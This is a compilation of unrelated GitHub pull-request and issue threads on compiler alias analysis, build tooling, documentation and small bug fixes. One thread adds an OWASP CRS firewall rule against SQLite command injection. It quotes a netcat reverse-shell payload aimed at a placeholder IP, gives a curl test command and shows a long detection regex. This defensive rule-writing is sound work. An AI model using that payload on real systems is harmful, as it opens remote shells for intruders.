While I was using the new AccessUtils for a new optimization pass I discovered some areas for improvements.
Changes:

AccessBase: remove the unhealthy redundancy between kind and baseAddress types. Now AccessBase is single enum with the relevant base objects/addresses as payloads.

AccessBase: for global, store the GlobalValue and not a global_address instruction, which is more accurate (because there can be multiple global_addrs for a single global variable)

AccessBase: Similarly, for class, tail and box use the underlying class/box reference value + the field index as source of truth. Still, store a "representative" ref_element_addr/ref_tail_addr/project_box as payload (because it's easier), but use the underlying reference value + field indices to define equality.

AccessBase: for pointer always store a (non-address) value of type Builtin.RawPointer - whatever that might be: either the operand of an address_to_pointer, a function argument or any other root value of the RawPointer.

AccessBase: improve func isDistinct(from:). There are more possibilities to prove that two access bases do not alias.

AccessBase: replace var isUniquelyIdentified with var hasKnownStorageKind which is more useful for aliasing checking.

AccessPath: fix func isDistinct(from:). SmallProjectionPath.matches is the wrong way to check if two expression paths may overlap. Instead use the new SmallProjectionPath.mayOverlap.

simplify PointerIdentification: always return a value of type Builtin.RawPointer. This makes the enum AddressOrPointerArgument obsolete.

AccessStoragePathWalker: rename getAccessStorage -> visitAccessStorageRoots and let it return false if it's not a class/reference AccessBase.

add tests for AccessPath.isDistinct(from:)

@swift-ci smoke test

While I was using the new AccessUtils for a new optimization pass I discovered some areas for improvements.
Changes:

Thank you for clearly summarizing the changes!

AccessBase: remove the unhealthy redundancy between kind and baseAddress types. Now AccessBase is single enum with the relevant base objects/addresses as payloads.

Looks good to me at first glance.

AccessBase: for global, store the GlobalValue and not a global_address instruction, which is more accurate (because there can be multiple global_addrs for a single global variable)

That's right. But more importantly the base of global variable is not necessarilly a global_addr. We need to handle addressors!

AccessBase: Similarly, for class, tail and box use the underlying class/box reference value + the field index as source of truth. Still, store a "representative" ref_element_addr/ref_tail_addr/project_box as payload (because it's easier), but use the underlying reference value + field indices to define equality.

AccessBase should not have a custom equality operator. The definition of equality on values is that they are substitutable. Two AccessBase values with different ref_element_addr are not substitutable. The first implementation of MemAccessUtils did that and was broken.
Given an AccessBase, it must be possible to rewrite all those accesses just from the base and projection path. If we substitute values with different base addresses, then that breaks.
ref_element_addr is the base address. And unlike address projections, reference-to-address conversions are non-fungible. You cannot substitute one for the other. They are not rematerializable from their object and field index.
Note that we could try to make ref_element_addr rematerializable by eliminating the isImmutable flag. But that would not be useful because we still wouldn't be able to "see-through" borrow scopes. We could also eliminate those spurious borrow scopes. But there are still copies and all sorts of arbitrary ownership casts. The more important point is that alias analysis should always find the storage root before doing a comparison.
For points-to alias analysis, you should be comparing the "root" of the access, not the base. The root identifies the object being accessed. A different API should be used that explicitly says what it does instead of magically hiding the base address and pretending the base is a root.
Some of our earlier designs had a separate AccessRoot abstraction. It should be possible to query the root of an AccessBase on-the-fly. But it's also be useful to encapsulate AccessRoot in a type alongside the base. You don't want to redo a traversal across phis on every comparison. AccessRoot is also needed to use the identity of the storage as a hash key instead of the base address. In fact, we need that for exclusivity optimization!
To recap: If you want to compare the storage of an access, then you should always compute the storage root first. It doesn't make sense to treat the ref_element_addr operand as a "fake root".

AccessBase: for pointer always store a (non-address) value of type Builtin.RawPointer - whatever that might be: either the operand of an address_to_pointer, a function argument or any other root value of the RawPointer.

The pointer_to_address is the base address, and it is also not substitutable. It carries the information about the pointer itself. Includng the information about aliasing. In the future, it will carry more information.
The only time AccessBase can "see through" a pointer_to_address is when all pointer values originate from a single common address which has the same type as the access.
For type based alias analysis, it's critical to retain the pointer_to_address because it carries the type information for the access.
Of course, points-to alias analysis needs to find the pointer's provenance. That is why we need APIs that give you the storage root, not the base address!

AccessBase: improve func isDistinct(from:). There are more possibilities to prove that two access bases do not alias.

Yeah. This is great, but for alias analysis we should be using the storage root for box, class, tail, and pointer. Maybe this API should be moved to an AccessRoot type instead.

AccessBase: replace var isUniquelyIdentified with var hasKnownStorageKind which is more useful for aliasing checking.

isUniquelyIdentified is a fundamental property of a storage root. All of our known-use analyses are based on it. It's the only way to prove no aliasing without information about the other accesses. It can probably be implemented based on isDifferentAllocation and hasKnownStorageKind, but the exclusivity information is missing.
hasKnownStorageKind seems fine but drops information about argument exclusivity.

AccessPath: fix func isDistinct(from:). SmallProjectionPath.matches is the wrong way to check if two expression paths may overlap. Instead use the new SmallProjectionPath.mayOverlap.

Yeah, this is tricky. Sometimes we need to build or compare the projection paths in the opposite direction. AccessSummaryAnalysis needs to push a component for each address projection instead of popping. That was one of the first uses of the AccessPath trie.

simplify PointerIdentification: always return a value of type Builtin.RawPointer. This makes the enum AddressOrPointerArgument obsolete.

To compute AccessBase, PointerIdentification needs to find a single common address or just abort. You can't remove the type check, it is needed for correctness.  I don't remember why this utility needed to return a FunctionArgument. That doesn't make sense to me now.
What you implemented was a walk to find the root of a pointer. That's useful for points-to alias analysis where you don't care about types.
You could possibly combine these implementations but you can't change the way we search for a base address.

@atrick

AccessBase should not have a custom equality operator.

okay, got it. I removed it.

To compute AccessBase, PointerIdentification needs to find a single common address or just abort. You can't remove the type check, it is needed for correctness. I don't remember why this utility needed to return a FunctionArgument. That doesn't make sense to me now.

So either we look through an address_to_pointer - pointer_to_address pair or we stop at the pointer_to_address. That totally makes sense. I was confused by this weird handling of function arguments.
I changed it.
I'm wondering if we even need this in access utils or can just rely on SILCombine to simplify such pairs.

isUniquelyIdentified is a fundamental property of a storage root.

The problem with isUniquelyIdentified is that it's not well defined without a corresponding equality operation. Its comment
  /// Returns `true` if we can reliably compare this `AccessBase`
  /// with another `AccessBase` for equality.

is not correct, assuming the standard equality operator. Simplest example:
  %1 = alloc_ref $X
  %access1 = ref_element_addr %1 : $X, #X.f
  %access2 = ref_element_addr %1 : $X, #X.f

%access and %access2 are "uniquely identified". They are not equal but may alias.
So, every client of isUniquelyIdentified needs to understand its internal implementation to be able to use it correctly. This is not a good API.
Instead, the isDistinct(from:) combines both, the uniqueness check and the comparison. And this solves the problem.

@swift-ci smoke test

I was confused by this weird handling of function arguments.

I think sometimes it's valuable to know that a pointer originates from a function argument, for example a caller might have been the one producing that pointer.

AccessBase: remove the unhealthy redundancy between kind and baseAddress types. Now AccessBase is single enum with the relevant base objects/addresses as payloads.

This is indeed nicer than before and allows to more easily unpack a AddressBase without kind/class checks. The previous version was more "open".  But there is still no good support for addressors (for global_init the base currently is the pointer_to_address instruction).

I think sometimes it's valuable to know that a pointer originates from a function argument, for example a caller might have been the one producing that pointer.

Sure, but I don't think this belongs to the access utils. If a client needs this information it can use AccessBase to get the pointer_to_address and do its own use-def walk to find out if it comes from a function argument.


Merges vavadevs/WebWindow:master

Creating PR on behalf of @vavadevs #54

@SteveSandersonMS Please review and merge

I will do when I can. Hopefully this week. I have other urgent things to deal with first - sorry!

@ScottKane good work builds and updating locally every is fixed


Update git to 2ab7360 and include new Git Credential Manager

Updates git and dependencies. The main update is to Git Credential
Manager, which includes a fix to erase credentials when requested. Git
was also updated with a change to block filters and EOL conversions.
git updated to commit: 2ab7360
https://github.com/Microsoft/git/commit/2ab73608a0c5baf0c979cd767ea15e7404771bbe

/azp run Windows - Full Functional Tests


Switch from HttpClient to openConnection(), and also supports abort connection.

HttpClient will be deprecated from next version of Android API 22.
We should switch to openConnection().
http://developer.android.com/reference/org/apache/http/client/HttpClient.html
Currently CBL Android/Java can not abort connection. It should be supported.

duplicated with #708


Add darkstat: light-weight network monitor web interface

Not sure why travis fails. It builds for me locally.


Update manifests/p/Piriform/CCleaner/5.80/Piriform.CCleaner.locale.en-US.yaml

Fixes an issue where this package has multiple different monikers
Microsoft Reviewers: Open in CodeFlow

[Policy] Reset Labels


Remove non-events from IMixedRealityFocusHandler

Overview
This is the only handler interface that contains more than the event handlers. IMixedRealityFocusHandler contains three additional properties which added unnecessary overhead for implementing the focus events and are implementation-specific.
If a developer needs access to this information, they can inherit from BaseFocusHandler. Either way, we don't pass I[*]Handler references around, so there's no need to define them there, and not all interface implementations will need them.

@Railboy how do you feel about this change?

unnecessary overhead

Haha wasn't the point of defining them in the interface, meaning that they were necessary? 😅

there's no need to define them there, and not all interface implementations will need them

Yup that makes sense to me.


[client,file] refactor RDP file parser

Only print warnings for settings parsed but support not compiled in
Use constants for key values

@freerdp-bot test again please


fetchzip should be able to unzip password-protected files

For anyone encountering this issue before someone can PR a solution:
(fetchzip { url = http://localhost:8000/foo.zip; sha256 = "0yg8xvc1rw0aarx625hkfk72f71bm9ksnh1iikpmxdlha2l2mv81"; }).overrideAttrs(o: { UNZIP = "-P foo"; })

still important to me

still important...


Dust off closure conversion and convert async. closures

We need this for the bytecode compilation pipeline.

When we shelved this project, the transformation passed almost all our tests.
However, we have implemented several Dart 2.0 features since then, most importantly, generic closures, so we may need more work in the VM for the converted closures to be functional again.


normalize.css

Error when building:
Module not found: Error: Can't resolve 'normalize.css' in '/Users/pedroteixeira/projects/ipfs/peerpad/peerpad/src/components'

npm install should fix it.
Related is #75


Build a prototype page for each subject and person

This ticket covers the phase 0 work – building per-concept pages in the prototype, not the final design.

See https://github.com/wellcomecollection/wellcomecollection.org/pull/8059


Update Webpack and along pkg

This PR  contains

Update of outdated packages to the newer version if possible or replacement with an alternative with more recent
Update to use ENV variables to build minified, dev or production version of the package respectively to lib,  test or examples folder
Add "webpack-subresource-integrity" instead of "get-sri", NOTE: "get-sri" is still part of the webpack.config.example.js and therefore package.json
Extracted following files into external-libraries folder and add webpack step copy-webpack-plugin to copy those assets into respective directory (for more info see line #73-76  in webpack.config.js)
add fever build steps, for more info see package.json

P.s I think this library is a fantastic effort towards open source and I will be happy to contribute further.

Hi @Gebuz ,
Thank you for the nice feedback :)
Yeah, the solution with building twice is a pretty nice trick 🤘  Thought I would like to try again 😺
The problem is that "htmlWebpackPlugin" is using "ejs-loader" under the hood - but it does not have all the features,  for example, include.  To support the current composable format we need to chain them two together, but they both are using the same syntax <%= and <% ... I have some idea how it could be solved will try again during the coming week 😸
I have noticed that the copied code has OKAPI CDNs URL  https://github.com/Dataforsyningen/okapi/blob/master/examples/simple.html#L53 and in the file, it uses local https://github.com/Dataforsyningen/okapi/blob/master/examples/simple.html#L14
Could you please share the reason why it is structured in such a manner? Would it be ok for the example folder to use the CDN URL and for the test local lib folder?
Last, would you be open to the suggestion of different ways of structuring example files?

The local link is because we host the examples in the same place as the CDN. It would be fine to use the CDN url instead if that is easier.

Last, would you be open to the suggestion of different ways of structuring example files?

Sure, suggestions are welcome :)


CausalTestEngine TODOs

There are a lot of TODOs in the CausalTestEngine class. Rather than have them in the code, we can sum them up in this issue:
CausalTestEngine with TODOs
78 # TODO: We should allow users to continue because positivity can be overcome with parametric models
79 # TODO: When we implement causal contracts, we should also note the positivity violation there
144 # TODO: We should allow users to continue because positivity can be overcome with parametric models
145 # TODO: When we implement causal contracts, we should also note the positivity violation there
157 # TODO: Some estimators also return the CATE. Find the best way to add this into the causal test engine.
163 # TODO: Work out how to handle CATE test results (just return the results df for now)
236 # TODO: Improve positivity checks to look for stratum-specific violations, not just missing variables in df

No causal_test_engine since #219


Add job name to emails

This PR adds the DataPack name (job name) to each of the email messages.
Additionally it removes the translation tags from the templates, since it is not being used.

Coverage increased (+0.003%) to 81.443% when pulling 3968e4fb5af6ff9dc68b20032938dd417712853c on addJobNameExpiration into e375ae9dbea6ed3312db7ac921055d34088f362c on master.

Coverage increased (+0.003%) to 81.839% when pulling c9f8de02a6aea296fbf46937fd4ba3460f3e80ee on addJobNameExpiration into d1fa1b131fbca88d041c4f7c4704d90f0ffe7514 on master.

Coverage increased (+0.003%) to 81.89% when pulling 21d86c15ef1d5902134225b9feb0a269643d6722 on addJobNameExpiration into f06b0b9c5f388db8bf4877ce38291a46673f0ccc on master.

Coverage increased (+0.003%) to 81.89% when pulling 8656f16701df90ef7842eff6c34ae715cebd9154 on addJobNameExpiration into f06b0b9c5f388db8bf4877ce38291a46673f0ccc on master.


Repo sync for protected CLA branch

The pull request is created from master637505665336025407 to master to fix git push error for protected CLA branch

@opbld17 : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Java Food ordering rewrite for new interface

LGTM :+1: Also tested locally and works for me as well.
I updated the readme in this PR: https://github.com/restatedev/examples/pull/124
Once that's merged I think this one can be merged as well.


Broken title slide of simple theme in Typst 0.9.0

The recently released Typst version 0.9.0 somehow broke the title slide of the simple theme, which is now not displayed in the slide format but (apparently) as a regular A4 page. You can find a minimal example demonstrating the new behavior here.

Apparently, this bug is caused by the handout mode, if I uncomment the #enable-handout-mode(true) line I have in my document, the intended behavior is restored.

Thanks for letting me know. There was some change regarding rendering of state updates, I think. I hope to find time to look into this.


changed logger configuration per @estribiyo advice to remove duplicate output

when lyrics master is used as a library.

added change to logger configuration contributed by @estribiyo .


fix: fix ios scripts

Pull Request Template
Description:

Fix scripts for iOS.

Tested Platforms:

[ ] Web
[x] iOS
[ ] Android

Affected Apps/Packages:

[apps/starter-base]
[workspace]

Screenshots:

Notes:

@tomheaton Unfortunately I have to close this. The iOS script is the default platform for the dev script. I think that having an iOS script could be good for consistency with the other platforms and 2 scripts are not needed to start the iOS apps. However, a default platform is needed when starting all apps with the dev. For that reason, I prefer keeping the iOS scripts under dev.
Thank you for taking the time to contribute.


Update REQUEST-932-APPLICATION-ATTACK-RCE.conf

Protects agains sqlite system command injection, e.g. ";\n.shell nc <IP_ADDRESS> 6666 -e sh\n as described here
Fixes #2031

Thank you for your feedback and improvements @theMiddleBlue and @dune73!
I added a word list file and ran it through the regex assembly optimizer. This is the optimized regex:
https://regex101.com/r/mZ76yW/1
# [ Sqlite System Command Execution ]
#
# This rule prevents execution of SQLite CLI commands like .system and .shell
#
# To rebuild the word list regexp:
#   cd util/regexp-assemble
#   cat regexp-932210.txt | ./regexp-cmdline.py unix | ./regexp-assemble.pl
#
# Then insert the assembled regexp into this template:
#
# SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx ;\s*\.\s*
# [regexp assembled from util/regexp-assemble/regexp-932210.txt]
# " \
#
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx ;\s*\.\s*(?:s[\\\\'\"]*(?:e[\\\\'\"]*(?:p[\\\\'\"]*a[\\\\'\"]*r[\\\\'\"]*a[\\\\'\"]*t[\\\\'\"]*o[\\\\'\"]*r|l[\\\\'\"]*f[\\\\'\"]*t[\\\\'\"]*e[\\\\'\"]*s[\\\\'\"]*t)|c[\\\\'\"]*(?:a[\\\\'\"]*n[\\\\'\"]*s[\\\\'\"]*t[\\\\'\"]*a[\\\\'\"]*t[\\\\'\"]*s|h[\\\\'\"]*e[\\\\'\"]*m[\\\\'\"]*a)|h[\\\\'\"]*(?:a[\\\\'\"]*3[\\\\'\"]*s[\\\\'\"]*u[\\\\'\"]*m|e[\\\\'\"]*l[\\\\'\"]*l|o[\\\\'\"]*w)|y[\\\\'\"]*s[\\\\'\"]*t[\\\\'\"]*e[\\\\'\"]*m|t[\\\\'\"]*a[\\\\'\"]*t[\\\\'\"]*s|a[\\\\'\"]*v[\\\\'\"]*e)|t[\\\\'\"]*(?:e[\\\\'\"]*s[\\\\'\"]*t[\\\\'\"]*c[\\\\'\"]*(?:a[\\\\'\"]*s[\\\\'\"]*e|t[\\\\'\"]*r[\\\\'\"]*l)|i[\\\\'\"]*m[\\\\'\"]*e[\\\\'\"]*(?:o[\\\\'\"]*u[\\\\'\"]*t|r)|a[\\\\'\"]*b[\\\\'\"]*l[\\\\'\"]*e[\\\\'\"]*s|r[\\\\'\"]*a[\\\\'\"]*c[\\\\'\"]*e)|d[\\\\'\"]*(?:b[\\\\'\"]*(?:c[\\\\'\"]*o[\\\\'\"]*n[\\\\'\"]*f[\\\\'\"]*i[\\\\'\"]*g|i[\\\\'\"]*n[\\\\'\"]*f[\\\\'\"]*o)|a[\\\\'\"]*t[\\\\'\"]*a[\\\\'\"]*b[\\\\'\"]*a[\\\\'\"]*s[\\\\'\"]*e[\\\\'\"]*s|u[\\\\'\"]*m[\\\\'\"]*p)|p[\\\\'\"]*(?:r[\\\\'\"]*(?:o[\\\\'\"]*(?:g[\\\\'\"]*r[\\\\'\"]*e[\\\\'\"]*s[\\\\'\"]*s|m[\\\\'\"]*p[\\\\'\"]*t)|i[\\\\'\"]*n[\\\\'\"]*t)|a[\\\\'\"]*r[\\\\'\"]*a[\\\\'\"]*m[\\\\'\"]*e[\\\\'\"]*t[\\\\'\"]*e[\\\\'\"]*r)|e[\\\\'\"]*(?:x[\\\\'\"]*(?:p[\\\\'\"]*(?:l[\\\\'\"]*a[\\\\'\"]*i[\\\\'\"]*n|e[\\\\'\"]*r[\\\\'\"]*t)|c[\\\\'\"]*e[\\\\'\"]*l|i[\\\\'\"]*t)|c[\\\\'\"]*h[\\\\'\"]*o|q[\\\\'\"]*p)|f[\\\\'\"]*(?:u[\\\\'\"]*l[\\\\'\"]*l[\\\\'\"]*s[\\\\'\"]*c[\\\\'\"]*h[\\\\'\"]*e[\\\\'\"]*m[\\\\'\"]*a|i[\\\\'\"]*l[\\\\'\"]*e[\\\\'\"]*c[\\\\'\"]*t[\\\\'\"]*r[\\\\'\"]*l)|i[\\\\'\"]*(?:m[\\\\'\"]*p[\\\\'\"]*o[\\\\'\"]*(?:s[\\\\'\"]*t[\\\\'\"]*e[\\\\'\"]*r|r[\\\\'\"]*t)|n[\\\\'\"]*d[\\\\'\"]*e[\\\\'\"]*x[\\\\'\"]*e[\\\\'\"]*s)|v[\\\\'\"]*f[\\\\'\"]*s[\\\\'\"]*(?:i[\\\\'\"]*n[\\\\'\"]*f[\\\\'\"]*o|l[\\\\'\"]*i[\\\\'\"]*s[\\\\'\"]*t|n[\\\\'\"]*a[\\\\'\"]*m[\\\\'\"]*e)|c[\\\\'\"]*(?:h[\\\\'\"]*(?:a[\\\\'\"]*n[\\\\'\"]*g[\\\\'\"]*e[\\\\'\"]*s|e[\\\\'\"]*c[\\\\'\"]*k)|l[\\\\'\"]*o[\\\\'\"]*n[\\\\'\"]*e|d)|r[\\\\'\"]*e[\\\\'\"]*(?:c[\\\\'\"]*o[\\\\'\"]*v[\\\\'\"]*e[\\\\'\"]*r|s[\\\\'\"]*t[\\\\'\"]*o[\\\\'\"]*r[\\\\'\"]*e|a[\\\\'\"]*d)|b[\\\\'\"]*(?:a[\\\\'\"]*(?:c[\\\\'\"]*k[\\\\'\"]*u[\\\\'\"]*p|i[\\\\'\"]*l)|i[\\\\'\"]*n[\\\\'\"]*a[\\\\'\"]*r[\\\\'\"]*y)|(?:n[\\\\'\"]*u[\\\\'\"]*l[\\\\'\"]*l[\\\\'\"]*v[\\\\'\"]*a[\\\\'\"]*l[\\\\'\"]*u|m[\\\\'\"]*o[\\\\'\"]*d)[\\\\'\"]*e|o[\\\\'\"]*(?:u[\\\\'\"]*t[\\\\'\"]*p[\\\\'\"]*u[\\\\'\"]*t|n[\\\\'\"]*c[\\\\'\"]*e|p[\\\\'\"]*e[\\\\'\"]*n)|a[\\\\'\"]*(?:r[\\\\'\"]*c[\\\\'\"]*h[\\\\'\"]*i[\\\\'\"]*v[\\\\'\"]*e|u[\\\\'\"]*t[\\\\'\"]*h)|l[\\\\'\"]*(?:i[\\\\'\"]*(?:m[\\\\'\"]*i|n)[\\\\'\"]*t|o[\\\\'\"]*(?:a[\\\\'\"]*d|g))|h[\\\\'\"]*e[\\\\'\"]*(?:a[\\\\'\"]*d[\\\\'\"]*e[\\\\'\"]*r[\\\\'\"]*s|l[\\\\'\"]*p)|w[\\\\'\"]*i[\\\\'\"]*d[\\\\'\"]*t[\\\\'\"]*h|q[\\\\'\"]*u[\\\\'\"]*i[\\\\'\"]*t)" \
    "id:932210,\
    phase:2,\
    block,\
    capture,\
    t:none,\
    t:compressWhitespace,\
    msg:'Remote Command Execution: SQLite System Command Execution',\
    logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\
    tag:'application-multi',\
    tag:'language-shell',\
    tag:'platform-unix',\
    tag:'attack-rce',\
    tag:'paranoia-level/3',\
    tag:'OWASP_CRS',\
    tag:'capec/1000/152/248/88',\
    tag:'PCI/6.5.2',\
    ctl:auditLogParts=+E,\
    ver:'OWASP_CRS/3.3.0',\
    severity:'CRITICAL',\
    setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
    setvar:'tx.anomaly_score_pl3=+%{tx.critical_anomaly_score}'"

The rule is now added at PL3 with ID 932210.

This is starting to look very good @flo405. Thank you for contributing this - and your time.
A few observations:

I can't seem to trigger the rule. Here is what I tried: curl localhost -d "foo=;\n.shell nc <IP_ADDRESS> 6666 -e sh\n"
PL3 is maybe a bit too defensive. Let's try this at PL2
Could you please add the shell exploit you are using and maybe 2-3 other ones as regression tests? If it's too much of a hassle, we can cover this ourselves.
Please put the transformations on a single line like in the other rules (I know it's a bit odd, but we want it to look like the pipeline it actually is.
The terms in regexp-932210.txt are in alphabetical order with the exception of help
Add a link to https://github.com/qxxxb/ctf/tree/master/2021/zer0pts_ctf/baby_sqli and one to the official list of sqlite3 commands as reference could make sense.

🙏
@flo405 : Can I have your email address? Mine is christian.folini at owasp.

Thanks for testing and reviewing!
It seems that ModSecurity was not able to identify \n as new line character. I added the transformation escapeSeqDecode before compressWhitespace to fix it.
Will send you an email.

@theMiddleBlue : The PR is ready to be merged from my point of view. It works as advertised AFAICS and I am removing the lables now. Feel free to merge when you have time.

Needs to be changed from Draft first.

looks good to me! thanks, @flo405 I've added a couple of reviews before merging.

Since this is aims at executing queries in a SQlite context, and not the UNIX shell, I wonder if we can remove the ./regexp-cmdline.py unix from the build step. This would make the regexp a lot easier to debug and more performant. And I assume we are not losing any security because of it.

Glad you looked into that question. I wondered this too.

Thanks @lifeforms! I changed it. I'm a bit confused about the file extensions of the regexp file. Should it be .data or .txt?

Good thinking! I was not aware we are not doing that systematically. We should probably settle on one of the two. I am a bit torn, but .data is probably the better choice. Any opinions?
As for your PR this does not matter it's good the way it is

moving my reviews on a comments:

before merging, can you please remove the capture action?
IMO we don't need t:escapeSeqDecode since t:compressWhitespace already replace LF and CR to a space char (0x20).

https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#compresswhitespace
Converts any of the whitespace characters (0x20, \f, \t, \n, \r, \v, 0xa0) to spaces (ASCII 0x20), compressing multiple consecutive space characters into one.

Thanks @theMiddleBlue. I never got to see them in the code. Probably a glitch on github.

I removed the capture action. Thanks @theMiddleBlue! Unfortunately the transformation compressWhitespace does not seem to deliver what it promises. Without t:escapeSeqDecode the payload ";\n.shell nc <IP_ADDRESS> 6666 -e sh\n does not get blocked. Somehow ModSecurity (version 2.9.3 on Apache 2.4.41) is not able to recognize \n as new line character in this scenario. So i fear that we have to keep t:escapeSeqDecode.

So we're ready to merge, @theMiddleBlue?

done, thanks!

Thank you very much for your 1st contribution to CRS. This is a very welcome new rule. And a very well crafted one on top. Congratulations.


Upgrade Go version to 1.17

Change Go verion from 1.15 to 1.17 in go.mod
Remove test.go to exclude water package from go.mod
Display an URL of the cb-network admin-web when starting

CB-TB will follow soon :)


doc-changes

Change on_event -> OnEvent in typed service.
Support config file loading from standard input.
Add default_max_records_num parameter in api config.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.aaryaattrey seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Email notifications for match outcome verification

To reduce the chance of abusing the ranking system we need to have players verify the outcome of matches. Besides the notifications on the site we have to send one by mail.

Added the basic funtionality for emails. I came up with some ideas, what do you think about it? @czarnecki
First case you create a match to verify. Message should look like this.
From: AdessoKicker
To: PlayerA1, PlayerA2
Subject: Match, MatchId from Date
Text: You've sent (Enemies) a verification-request for your recently played match. (Winner) has won.
Second case, you get the verification request to verify.
From: AdessoKicker
To: PlayerB1, PlayerB2
Subject: Match, MatchId from Date
Text: You've recently played a match against (Enemies). (Winner) has won. Klick here to verify or here to decline.


Kicking the build

The build timed out and the internets have said you need to merge an empty commit to get github pages to rebuild.

Looks like the build went through so merging to fix this...


Taxa browser - asserted distributions matching not showing?

When I have an asserted distribution, for say "texas", and I draw a big polygon around texas, then it does not return the OTU associated with that OTU.
@TuckerJD can you look into this.  I could have conceivably broken the filter with my changes to OTU filter.  Note that that code is basically forked into tow methods, I haven't reconciled your result from the new attributes.

This issue goes deeper than first imagined: the javascript has to be modified, because it only asks for CollectionObjects, although selection_object as a parameter is not actually used in the filter. Additionally, It should be possible to find both CollectionObjects and AssertedDistributions through named GeographicArea, even though that area may not have a shape.

Let's focus on the models/unit tests that let us return the data, then we'll get to the implementation.
You're right with 2 ways of finding things:

Through the controlled vocabulary/parent-child (geographic_area#id -> children)
Through the spatial calculations.

Focus on the latter, by default it should resolve most cases because most people will use GAs with GIs.

While testing this with the user interface, I have found what looks to be a performance issue WRT finding a small number of objects in one project, when another project has a very large population of objects. I am hoping that project_id can be accounted for earlier in the query chain. In addition, there seems to be a limit of 65535 items (in this case, id)  passable through to the query engine, and I have a (reasonable) example of this failing with no indication at the user interface.

@TuckerJD Can we close this?

Given that we have not exhausted the ways in which we might search, and that the specific complaint has been resolved, I think so, yes.


[tapcell] Fix cells not aligned with sites

can you build a test case that isn't huge?
it makes no sense to keep dumping large unshared files into the repo to test small changes

@jjcherry56 using gcd now


fix: iterate over sorted rows for rendering

This PR addresses #201, by ensuring we iterate over rows sorted by grouping when rendering.
TODO (Rich said he'll take from here):

add a test

I can pick this one back up! (changed the assignee)

There is an extra entry in group B in our test. From pairing w/ Rich it sounds like maybe an off by 1 error

Okay, I've gotten the snapshot to produce the correct output. I'm not sure how .indices_map() works in the original R program, but I tweaked it to return 1 entry per row, so we can iterate over it directly when rendering. In general, I think it'd be useful for us to trace / sequence diagram when things get reordered. The internal logic is clear, but it seems a bit tricky to know when/where all reorderings have happened!

Okay, I've gotten the snapshot to produce the correct output. I'm not sure how .indices_map() works in the original R program, but I tweaked it to return 1 entry per row, so we can iterate over it directly when rendering. In general, I think it'd be useful for us to trace / sequence diagram when things get reordered. The internal logic is clear, but it seems a bit tricky to know when/where all reorderings have happened!

It is tricky. Was that way in the R implementation as well. But I found peace there after lots of patches and extensive testing (it became a solved problem). Definitely would be good for us to diagram/explain the internals a bit!

Nice work!


[Chat Agent] Token limit of Copilot LLM when content of single spec is large

When content of single spec is very large, @apicenter /list would reach token limit of Copilot LLM.

Close it since there is no @apicenter /list now.


How to paginate one page at a time?

I want to be able to load a number of pages at a certain rate and then resume synchronisation at a much later time if necessary.
In README.md it says we can use .task(maxLength: 10, ...) and just resume().  However, I'd rather save a cursor and be able to resume using startingAt even my app gets killed by the system.
I couldn't figure out a way to get a cursor.

Hey @mycroftcanner.
I'm actually adding "pre-parsed" support for pagination parameters in 4.1.0 (the development branch should provide an initial working version).
Otherwise, for now, I suggest simply inspecting the underlying Wrapper.
   […]
   .task {
      guard let response = try? $0.get() else { return nil }
      // most endpoints (I'd say all except the Direct ones), store next cursor in `next_max_id`.
      print(response["nextMaxId"].string() as Any)
   }
   .resume()


Add simpler option for setting up Linux on Hetzner root server

The document docs/hetzner.md mentions two options how to set up a Hetzner root server.
IMHO it should add a third one, which is much simpler, especially for newcomers: Under https://robot.hetzner.com/server there is a tab "Linux" where one can select either "CentOS Stream 8 base" or "Rocky Linux 8.5 base" and activate the linux installation, and finally send the "Hardware Reset" to the server and wait. The installation is fully automatic. My experience with CentOS Stream 8 was flawless. The other options should be preferred for advanced users only.

Good point, documentation PR is welcome. Or write the documentation down in the Issue and I can move it into the hetzner-ocp4 repo.
Thanks

Fixed with last PR


How to use?

Sorry I'm a noob and I just bought a museca 1.5 cab, I'd like to edit the textures in the ifs files to start translating the japanese text into english. I found ifs explorer but that only allows me to extract png images. Could you upload a doc with instructions how to use this code? I already have python and git installed but not too sure how to use them.

I've added Install and Usage to the README. Let me know if that helps.
What's wrong with PNG images? They're lossless, have transparency and are compressed. These ifstools use them too.
If you are doing a big translation, maybe wait a few days - I'm updating the compression to be much faster (it's very slow right now)

I found a small executable that I can use to extract png images from the ifs files, but I don't know how to put them back into the ifs file. The exe was in https://github.com/kivikakk/IFSExplorer

Ah, gotcha - doesn't seem like it can recompress, but mine can.

error code:
Command "C:\Python27\python.exe -c "import setuptools, tokenize;file='c:\users\caman~1.des\appdata\local\temp\pip-build-4q2rpr\lxml\setup.py';exec(compile(getattr(tokenize, 'open', open)(file).read().replace('\r\n', '\n'), file, 'exec'))" install --record c:\users\caman~1.des\appdata\local\temp\pip-xufexv-record\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in c:\users\caman~1.des\appdata\local\temp\pip-build-4q2rpr\lxml

You may need to install the microsoft compiler for python 2.7.

Already had it installed, tried it on another computer, got the same error. Also says ** make sure the development packages of libxml2 and libxslt are installed **

Sounds pretty broken, try the precompiled wheel
You're probably after lxml‑4.1.1‑cp27‑cp27m‑win32.whl

Okay that worked, Thanks! Could you give me a quick example script to run? Let's say I want to extract a png from an ifs saved on a flash drive (E:), edit the png, and then repackage it into the ifs.

python ifstools.py D:\museca\data\graphics\afp\ver03\mode_select_j.ifs
This would produce a mode_select_j_ifs folder. Edit the pngs inside the tex folder, then:
python ifstools.py mode_select_j_ifs
This will repack the ifs into a new file. First run will recompress all textures, and be very slow. After that, only edits will be recompressed.

ah... I get this
C:\Users\caman.DESKTOP-TQO4F2G\ifstools>python ifstools.py E:\PIX\contents\data\graphics\afp\ver03\mode_select_j.ifs
Traceback (most recent call last):
File "ifstools.py", line 214, in
i = IFS(f)
File "ifstools.py", line 22, in init
self._load_ifs(path)
File "ifstools.py", line 50, in _load_ifs
self._parse_manifest()
